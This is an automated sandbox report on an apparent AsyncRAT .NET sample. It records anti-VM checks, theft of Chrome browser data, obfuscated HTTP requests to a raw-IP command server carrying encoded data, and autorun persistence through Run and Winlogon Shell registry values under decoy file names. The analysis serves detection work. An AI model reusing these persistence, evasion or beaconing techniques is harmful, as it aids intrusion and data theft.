Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6402	July 30, 2021, 10:26 a.m.	July 30, 2021, 10:34 a.m.

Size	710.0KB
Type	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5	`cc982bb10719da0325bdd790df6b3a03`
SHA256	`23b110e0a381abb4d44bd7e2906548429ee426d9463a02af31dc3dd98c044341`
CRC32	`B2064BD6`
ssdeep	`12288:7qnOM2ixO3YAGG/U3+RpcRUiZc/P/XmTQCXr7KijCLeF3T/H:7+OMAYAZ/uUpXP/XEyiqeZ`
Yara	IsPE32 - (no description) Malicious_Packer_Zero - Malicious Packer OS_Processor_Check_Zero - OS Processor Check Generic_Malware_Zero - Generic Malware Is_DotNET_EXE - (no description) UPX_Zero - UPX packed file PE_Header_Zero - PE File Signature Win_Backdoor_AsyncRAT_Zero - Win Backdoor AsyncRAT

reviewwinfontrefperf.exe "C:\Users\test22\AppData\Local\Temp\reviewwinfontrefperf.exe"
1284
- pw.exe "C:\Windows\LiveKernelReports\pw.exe"
  2620

Name	Response	Post-Analysis Lookup
ipinfo.io	A 34.117.59.81	34.117.59.81

IP Address	Status	Action
164.124.101.2	Active	Moloch
34.117.59.81	Active	Moloch
78.24.217.56	Active	Moloch
62.109.1.30	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.102:49167 -> 34.117.59.81:443	2025331	ET POLICY Possible External IP Lookup Domain Observed in SNI (ipinfo. io)	Device Retrieving External IP Address Detected
TCP 192.168.56.102:49167 -> 34.117.59.81:443	906200022	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.102:49166 -> 34.117.59.81:443	2025331	ET POLICY Possible External IP Lookup Domain Observed in SNI (ipinfo. io)	Device Retrieving External IP Address Detected
TCP 192.168.56.102:49166 -> 34.117.59.81:443	906200022	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 34.117.59.81:443 -> 192.168.56.102:49166	2025330	ET POLICY Possible External IP Lookup SSL Cert Observed (ipinfo.io)	Device Retrieving External IP Address Detected

Suricata TLS

Flow	Issuer	Subject	Fingerprint
TLS 1.2 192.168.56.102:49166 34.117.59.81:443	C=US, O=Google Trust Services LLC, CN=GTS CA 1D4	CN=ipinfo.io	2a:93:c5:f6:21:4b:14:40:41:d9:36:fe:ff:fe:65:37:17:1c:4e:b8
TLS 1.2 192.168.56.102:49167 34.117.59.81:443	None	None	None

Queries for the computername (20 events)

Time & API	Arguments	Status	Return
GetComputerNameW July 30, 2021, 10:19 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 30, 2021, 10:19 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 30, 2021, 10:19 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 30, 2021, 10:19 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 30, 2021, 10:19 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 30, 2021, 10:19 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 30, 2021, 10:19 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 30, 2021, 10:19 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 30, 2021, 10:19 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 30, 2021, 10:19 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 30, 2021, 10:19 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 30, 2021, 10:20 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 30, 2021, 10:20 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 30, 2021, 10:20 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 30, 2021, 10:20 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 30, 2021, 10:27 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 30, 2021, 10:27 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 30, 2021, 10:27 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 30, 2021, 10:27 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 30, 2021, 10:28 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (4 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent July 30, 2021, 10:19 a.m.			0	0
IsDebuggerPresent July 30, 2021, 10:19 a.m.			0	0
IsDebuggerPresent July 30, 2021, 10:27 a.m.			0	0
IsDebuggerPresent July 30, 2021, 10:27 a.m.			0	0

Uses Windows APIs to generate a cryptographic key (3 events)

Time & API	Arguments	Status	Return
CryptExportKey July 30, 2021, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001c793500 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 30, 2021, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001c793570 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey July 30, 2021, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001af1b850 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1

Collects information to fingerprint the system (MachineGuid, DigitalProductId, SystemBiosDate) (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx July 30, 2021, 10:19 a.m.		1	1	0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (2 events)

suspicious_features	Connection to IP address				suspicious_request	GET http://78.24.217.56/on/predpochel/ostatsa/anonistom/CpuGameApiSqlflower.php?dbNrr8z7=RMLf1fFId1YoCVXIkRnMUFyTxLHSg92&t0=o6vU3sBRuP&aFzjGrLvpLY2sqXwle9=4LEtLz6tdSyDE&9cb2beefe30f08fd6b229bb65bdf14a5=cbe8ead4e58ebaeb2d1f8262e2b19694&847db2de527380cc6f80ef60ca65913d=QNjhTO4Q2NiJWMjRWO1IjYwIjM5ADNzQWMiVWNxUjNxIzMmJmY3QGO&dbNrr8z7=RMLf1fFId1YoCVXIkRnMUFyTxLHSg92&t0=o6vU3sBRuP&aFzjGrLvpLY2sqXwle9=4LEtLz6tdSyDE
suspicious_features	Connection to IP address				suspicious_request	GET http://78.24.217.56/on/predpochel/ostatsa/anonistom/CpuGameApiSqlflower.php?dbNrr8z7=RMLf1fFId1YoCVXIkRnMUFyTxLHSg92&t0=o6vU3sBRuP&aFzjGrLvpLY2sqXwle9=4LEtLz6tdSyDE&6620ba511bddaf7cd97a91f748a57ce0=AZmFTZkJDMyYjYlZDO5E2MmVTN3IWMmFjM2YWZiZmNxQWY3UmY0gDZyUzM5MjNyUjMyAjMwUzM&847db2de527380cc6f80ef60ca65913d=gZlVmYmFTOxU2N5EmMhZTZ0IDOihjY1ITY3gTO2ATOhRGOjNzY1UWN&3766d7ec164999b3250f09ca6d7b986c=d1nIxcDOxImMlNGNiJWMwcDZzIzYwMWYzIjNxEzYzcjMlZTOyY2NlRWO1IiOiIWNxUGO4EDNjhzN3ADMwYDMmhjN3EzMmVDM0cDZlFWOiwiI1AjZ1IzN0UDM3UWZ1gzY0IzY0UGM3IjZwYzMmVjZjRjZyE2NkhjM3IiOiADZlNGO2czY0QzMyUGZlBzM4ETOmlTYjVzMmFGNjJWMis3W

Performs some HTTP requests (2 events)

request

GET http://78.24.217.56/on/predpochel/ostatsa/anonistom/CpuGameApiSqlflower.php?dbNrr8z7=RMLf1fFId1YoCVXIkRnMUFyTxLHSg92&t0=o6vU3sBRuP&aFzjGrLvpLY2sqXwle9=4LEtLz6tdSyDE&9cb2beefe30f08fd6b229bb65bdf14a5=cbe8ead4e58ebaeb2d1f8262e2b19694&847db2de527380cc6f80ef60ca65913d=QNjhTO4Q2NiJWMjRWO1IjYwIjM5ADNzQWMiVWNxUjNxIzMmJmY3QGO&dbNrr8z7=RMLf1fFId1YoCVXIkRnMUFyTxLHSg92&t0=o6vU3sBRuP&aFzjGrLvpLY2sqXwle9=4LEtLz6tdSyDE

request

GET http://78.24.217.56/on/predpochel/ostatsa/anonistom/CpuGameApiSqlflower.php?dbNrr8z7=RMLf1fFId1YoCVXIkRnMUFyTxLHSg92&t0=o6vU3sBRuP&aFzjGrLvpLY2sqXwle9=4LEtLz6tdSyDE&6620ba511bddaf7cd97a91f748a57ce0=AZmFTZkJDMyYjYlZDO5E2MmVTN3IWMmFjM2YWZiZmNxQWY3UmY0gDZyUzM5MjNyUjMyAjMwUzM&847db2de527380cc6f80ef60ca65913d=gZlVmYmFTOxU2N5EmMhZTZ0IDOihjY1ITY3gTO2ATOhRGOjNzY1UWN&3766d7ec164999b3250f09ca6d7b986c=d1nIxcDOxImMlNGNiJWMwcDZzIzYwMWYzIjNxEzYzcjMlZTOyY2NlRWO1IiOiIWNxUGO4EDNjhzN3ADMwYDMmhjN3EzMmVDM0cDZlFWOiwiI1AjZ1IzN0UDM3UWZ1gzY0IzY0UGM3IjZwYzMmVjZjRjZyE2NkhjM3IiOiADZlNGO2czY0QzMyUGZlBzM4ETOmlTYjVzMmFGNjJWMis3W

Allocates read-write-execute memory (usually to unpack itself) (50 out of 177 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory July 30, 2021, 10:19 a.m.	process_identifier: 1284 region_size: 2097152 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000600000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 30, 2021, 10:19 a.m.	process_identifier: 1284 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000780000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 30, 2021, 10:19 a.m.	process_identifier: 1284 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef28f1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 30, 2021, 10:19 a.m.	process_identifier: 1284 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2f8b000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 30, 2021, 10:19 a.m.	process_identifier: 1284 region_size: 2555904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000023b0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 30, 2021, 10:19 a.m.	process_identifier: 1284 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000025a0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 30, 2021, 10:19 a.m.	process_identifier: 1284 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef28f2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 30, 2021, 10:19 a.m.	process_identifier: 1284 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef28f2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 30, 2021, 10:19 a.m.	process_identifier: 1284 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef28f2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 30, 2021, 10:19 a.m.	process_identifier: 1284 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef28f2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 30, 2021, 10:19 a.m.	process_identifier: 1284 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef28f2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 30, 2021, 10:19 a.m.	process_identifier: 1284 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef28f2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 30, 2021, 10:19 a.m.	process_identifier: 1284 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef28f2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 30, 2021, 10:19 a.m.	process_identifier: 1284 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef28f2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 30, 2021, 10:19 a.m.	process_identifier: 1284 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef28f2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 30, 2021, 10:19 a.m.	process_identifier: 1284 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef28f2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 30, 2021, 10:19 a.m.	process_identifier: 1284 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef28f2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 30, 2021, 10:19 a.m.	process_identifier: 1284 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef28f4000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 30, 2021, 10:19 a.m.	process_identifier: 1284 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef28f4000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 30, 2021, 10:19 a.m.	process_identifier: 1284 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef28f4000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 30, 2021, 10:19 a.m.	process_identifier: 1284 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef28f4000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 30, 2021, 10:19 a.m.	process_identifier: 1284 region_size: 655360 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 30, 2021, 10:19 a.m.	process_identifier: 1284 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 30, 2021, 10:19 a.m.	process_identifier: 1284 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 30, 2021, 10:19 a.m.	process_identifier: 1284 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff20000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 30, 2021, 10:19 a.m.	process_identifier: 1284 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 30, 2021, 10:19 a.m.	process_identifier: 1284 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 30, 2021, 10:19 a.m.	process_identifier: 1284 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9315a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 30, 2021, 10:19 a.m.	process_identifier: 1284 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9316c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 30, 2021, 10:19 a.m.	process_identifier: 1284 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93290000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 30, 2021, 10:19 a.m.	process_identifier: 1284 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9320c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 30, 2021, 10:19 a.m.	process_identifier: 1284 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93236000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 30, 2021, 10:19 a.m.	process_identifier: 1284 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93210000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 30, 2021, 10:19 a.m.	process_identifier: 1284 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9315b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 30, 2021, 10:19 a.m.	process_identifier: 1284 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9317b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 30, 2021, 10:19 a.m.	process_identifier: 1284 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe931ac000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 30, 2021, 10:19 a.m.	process_identifier: 1284 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9317d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 30, 2021, 10:19 a.m.	process_identifier: 1284 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93291000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 30, 2021, 10:19 a.m.	process_identifier: 1284 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9315c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 30, 2021, 10:19 a.m.	process_identifier: 1284 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9316d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 30, 2021, 10:19 a.m.	process_identifier: 1284 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9316a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 30, 2021, 10:19 a.m.	process_identifier: 1284 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93152000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 30, 2021, 10:19 a.m.	process_identifier: 1284 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93292000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 30, 2021, 10:19 a.m.	process_identifier: 1284 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93293000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 30, 2021, 10:19 a.m.	process_identifier: 1284 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93294000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 30, 2021, 10:19 a.m.	process_identifier: 1284 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93295000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 30, 2021, 10:19 a.m.	process_identifier: 1284 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe932e0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 30, 2021, 10:19 a.m.	process_identifier: 1284 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe932e1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 30, 2021, 10:19 a.m.	process_identifier: 1284 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe931ad000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 30, 2021, 10:19 a.m.	process_identifier: 1284 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93296000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1

A process attempted to delay the analysis task. (1 event)

description

pw.exe tried to sleep 246 seconds, actually delayed analysis time by 246 seconds

Queries the disk size which could be used to detect virtual machine with small fixed size or dynamic allocation (2 events)

Time & API	Arguments	Status	Return	Repeated
GetDiskFreeSpaceExW July 30, 2021, 10:19 a.m.	total_number_of_free_bytes: 12313612288 free_bytes_available: 12313612288 root_path: C:\ total_number_of_bytes: 34252779520	1	1	0
GetDiskFreeSpaceExW July 30, 2021, 10:27 a.m.	total_number_of_free_bytes: 12307308544 free_bytes_available: 12307308544 root_path: C:\ total_number_of_bytes: 34252779520	1	1	0

Steals private information from local Internet browsers (2 events)

file	C:\Users\test22\AppData\Local\Google\Chrome\
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\

Looks up the external IP address (1 event)

domain

ipinfo.io

Executes one or more WMI queries (1 event)

wmi	SELECT * FROM Win32_BIOS

A process created a hidden window (1 event)

Time & API	Arguments	Status	Return	Repeated
ShellExecuteExW July 30, 2021, 10:20 a.m.	show_type: 0 filepath_r: C:\Windows\LiveKernelReports\pw.exe parameters: filepath: C:\Windows\LiveKernelReports\pw.exe	1	1	0

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses July 30, 2021, 10:27 a.m.	flags: 15 family: 0		111	0

Checks for the Locally Unique Identifier on the system for a suspicious privilege (2 events)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW July 30, 2021, 10:19 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0
LookupPrivilegeValueW July 30, 2021, 10:27 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Executes one or more WMI queries which can be used to identify virtual machines (1 event)

wmi	SELECT * FROM Win32_BIOS

Communicates with host for which no DNS query was performed (2 events)

host	78.24.217.56
host	62.109.1.30

Installs itself for autorun at Windows startup (21 events)

reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell	reg_value	explorer.exe, "C:\Documents and Settings\SearchProtocolHost.exe"
reg_key	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\SearchProtocolHost	reg_value	"C:\Documents and Settings\SearchProtocolHost.exe"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SearchProtocolHost	reg_value	"C:\Documents and Settings\SearchProtocolHost.exe"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell	reg_value	explorer.exe, "C:\Documents and Settings\SearchProtocolHost.exe", "C:\Python27\click\click\click_image\pw.exe"
reg_key	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\pw	reg_value	"C:\Python27\click\click\click_image\pw.exe"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\pw	reg_value	"C:\Python27\click\click\click_image\pw.exe"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell	reg_value	explorer.exe, "C:\Documents and Settings\SearchProtocolHost.exe", "C:\Python27\click\click\click_image\pw.exe", "C:\Windows\LiveKernelReports\pw.exe"
reg_key	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\pw	reg_value	"C:\Windows\LiveKernelReports\pw.exe"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\pw	reg_value	"C:\Windows\LiveKernelReports\pw.exe"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell	reg_value	explorer.exe, "C:\Documents and Settings\SearchProtocolHost.exe", "C:\Python27\click\click\click_image\pw.exe", "C:\Windows\LiveKernelReports\pw.exe", "C:\Windows\Temp\Crashpad\reports\System.exe"
reg_key	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\System	reg_value	"C:\Windows\Temp\Crashpad\reports\System.exe"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\System	reg_value	"C:\Windows\Temp\Crashpad\reports\System.exe"
